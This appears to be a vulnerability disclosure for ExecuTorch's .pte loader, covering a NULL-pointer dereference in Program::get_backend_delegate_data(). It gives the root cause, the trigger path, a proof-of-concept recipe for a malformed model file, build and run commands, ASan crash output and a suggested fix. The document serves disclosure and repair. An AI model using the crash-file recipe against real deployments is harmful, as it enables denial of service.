You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

ExecuTorch .pte loader: NULL-pointer dereference in Program::get_backend_delegate_data() (missing backend_delegate_data field)

Summary

A structurally-valid, fully-verified ExecuTorch .pte model triggers a NULL-pointer dereference (SIGSEGV, READ at address 0x0) the moment a method is loaded via Program::load_method(). The crash occurs in executorch::runtime::Program::get_backend_delegate_data() (runtime/executor/program.cpp:538-546), which calls data_list->size() on the result of the generated flatbuffers accessor backend_delegate_data() without a null check.

  • Target: pytorch/executorch runtime (.pte model loader)
  • Commit: a6d812a082df57898b8608f56c867140cc9da32c
  • Component: runtime/executor/program.cpp โ€” Program::get_backend_delegate_data()
  • Class: CWE-476 (NULL Pointer Dereference)
  • Impact: Denial of Service when loading an untrusted/attacker-supplied .pte. The crash fires even under Program::Verification::InternalConsistency โ€” the strongest verification mode ExecuTorch offers, which the malicious file passes cleanly before crashing at method-load time.

Root cause

runtime/executor/program.cpp:538-546:

Error Program::get_backend_delegate_data(
    size_t index,
    const void** out_data,
    size_t* out_size) const {
  const auto* data_list =
      static_cast<const executorch_flatbuffer::Program*>(internal_program_)
          ->backend_delegate_data();          // nullptr when the field is absent
  ET_CHECK_OR_RETURN_ERROR(
      index < data_list->size(),              // <-- data_list->size() derefs nullptr
      InvalidArgument,
      "index %zu >= list size %" PRIu32,
      index,
      data_list->size());
  ...

Program.backend_delegate_data is not marked (required) in schema/program.fbs (line 506):

// schema/program.fbs (line ~506)
table Program {
  ...
  // Tables of constant data, used for keeping the constant data away from the
  // program.
  backend_delegate_data:[BackendDelegateInlineData];   // NOT (required)
  ...
}

Because the field is optional, a legal FlatBuffer may omit it entirely. The flatc-generated accessor Program::backend_delegate_data() then returns nullptr, and the subsequent data_list->size() call (third-party/flatbuffers/include/flatbuffers/vector.h:164) dereferences a null Vector pointer, producing a SEGV read at 0x0.

Trigger path

The malicious file contains a BackendDelegate whose processed reference is present with location = INLINE, index = 0, while the top-level Program.backend_delegate_data vector is absent:

Program::load_method("forward")
 -> Method::init()                                          method.cpp:971
 -> BackendDelegate::Init()                                 method.cpp:97
 -> BackendDelegate::GetProcessedData()  [INLINE case]      method.cpp:202
 -> Program::get_backend_delegate_data(0)                   program.cpp:541
 -> data_list->size()   // data_list == nullptr  => SEGV read @ 0x0

Proof of Concept

  • build_pte.cpp builds the malicious .pte using flatc-generated ExecuTorch schema headers: one ExecutionPlan named "forward" containing one BackendDelegate { id = "TESTBACKEND", processed = BackendDelegateDataReference { location = INLINE, index = 0 } }, while the top-level Program.backend_delegate_data vector is omitted (serialized offset 0).
  • build_pte_benign.cpp builds an otherwise identical benign.pte that DOES include a backend_delegate_data vector with one entry (negative control).
  • harness.cpp is compiled with -fsanitize=address against the real ExecuTorch runtime sources. It registers a no-op backend "TESTBACKEND", loads the file with Program::load(loader, Program::Verification::InternalConsistency) (which PASSES), then calls program.load_method("forward").

Build/run:

bash build.sh                                              # builds build_pte + ASan harness
./build_pte malicious.pte
ASAN_OPTIONS=detect_leaks=0 ./harness_asan malicious.pte   # SEGV
./build_pte_benign benign.pte
ASAN_OPTIONS=detect_leaks=0 ./harness_asan benign.pte      # no crash (control)

Captured evidence (verbatim)

Malicious input (malicious.pte, backend_delegate_data omitted):

[harness] Program::load(InternalConsistency) ...
[harness] Program::load() OK (passed full verification). Loading method "forward" ...
AddressSanitizer:DEADLYSIGNAL
==1961067==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5643edbd2475 bp 0x7ffe118bdf80 sp 0x7ffe118bdf60 T0)
==1961067==The signal is caused by a READ memory access.
==1961067==Hint: address points to the zero page.
    #0 0x5643edbd2475 in flatbuffers::Vector<flatbuffers::Offset<executorch_flatbuffer::BackendDelegateInlineData>, unsigned int>::size() const .../third-party/flatbuffers/include/flatbuffers/vector.h:164:44
    #1 0x5643edbcf4bd in executorch::runtime::Program::get_backend_delegate_data(unsigned long, void const**, unsigned long*) const .../runtime/executor/program.cpp:541:3
    #2 0x5643edbc0b3a in executorch::runtime::BackendDelegate::GetProcessedData(executorch_flatbuffer::BackendDelegate const&, executorch::runtime::Program const*) .../runtime/executor/method.cpp:202:30
    #3 0x5643edbb974d in executorch::runtime::BackendDelegate::Init(executorch_flatbuffer::BackendDelegate const&, executorch::runtime::Program const*, executorch::runtime::BackendInitContext&, executorch::runtime::BackendDelegate*) .../runtime/executor/method.cpp:97:45
    #4 0x5643edbaa326 in executorch::runtime::Method::init(executorch_flatbuffer::ExecutionPlan*, executorch::runtime::NamedDataMap const*, executorch::runtime::LoadBackendOptionsMap const*) .../runtime/executor/method.cpp:971:19
    #5 0x5643edba90bc in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862:22
    #6 0x5643edbcdd11 in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:392:10
    #7 0x5643edba07ed in main .../bug_backend_delegate_data/harness.cpp:82:15
    #8 0x7ff10773bf76  (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76)
    #9 0x7ff10773c026 in __libc_start_main
    #10 0x5643edab5420 in _start

==1961067==Register values:
rax = 0x0000000000000000  ... rdi = 0x0000000000000000 ...
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV .../third-party/flatbuffers/include/flatbuffers/vector.h:164:44 in flatbuffers::Vector<flatbuffers::Offset<executorch_flatbuffer::BackendDelegateInlineData>, unsigned int>::size() const
==1961067==ABORTING

Negative control (benign.pte, backend_delegate_data present with one entry) โ€” no crash; load proceeds past the delegate to an unrelated later error:

[harness] Program::load(InternalConsistency) ...
[harness] Program::load() OK (passed full verification). Loading method "forward" ...
E 00:00:00.000266 executorch:method.cpp:987] No chains
load_method returned error (no crash): 0x23

Distinct from prior findings

This is a separate defect from the other known ExecuTorch delegate-loader null-dereferences:

  • NOT the CompileSpec key/value nullderef (method.cpp, PopulateCompileSpecs).
  • NOT the processed-absent nullderef (GetProcessedData, method.cpp:197, processed->location()). In this PoC processed IS present (location = INLINE, index = 0); the crash occurs one call deeper, in a different source file (program.cpp), on a missing null-check of a different, Program-level schema field (backend_delegate_data).
  • NOT the .ptd FlatTensorDataMap nullderef.

Suggested fix

Null-check data_list in get_backend_delegate_data() before use:

const auto* data_list = ...->backend_delegate_data();
ET_CHECK_OR_RETURN_ERROR(
    data_list != nullptr, NotFound,
    "Program has no backend_delegate_data but an INLINE delegate references it");
ET_CHECK_OR_RETURN_ERROR(index < data_list->size(), InvalidArgument, ...);
Downloads last month
-
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support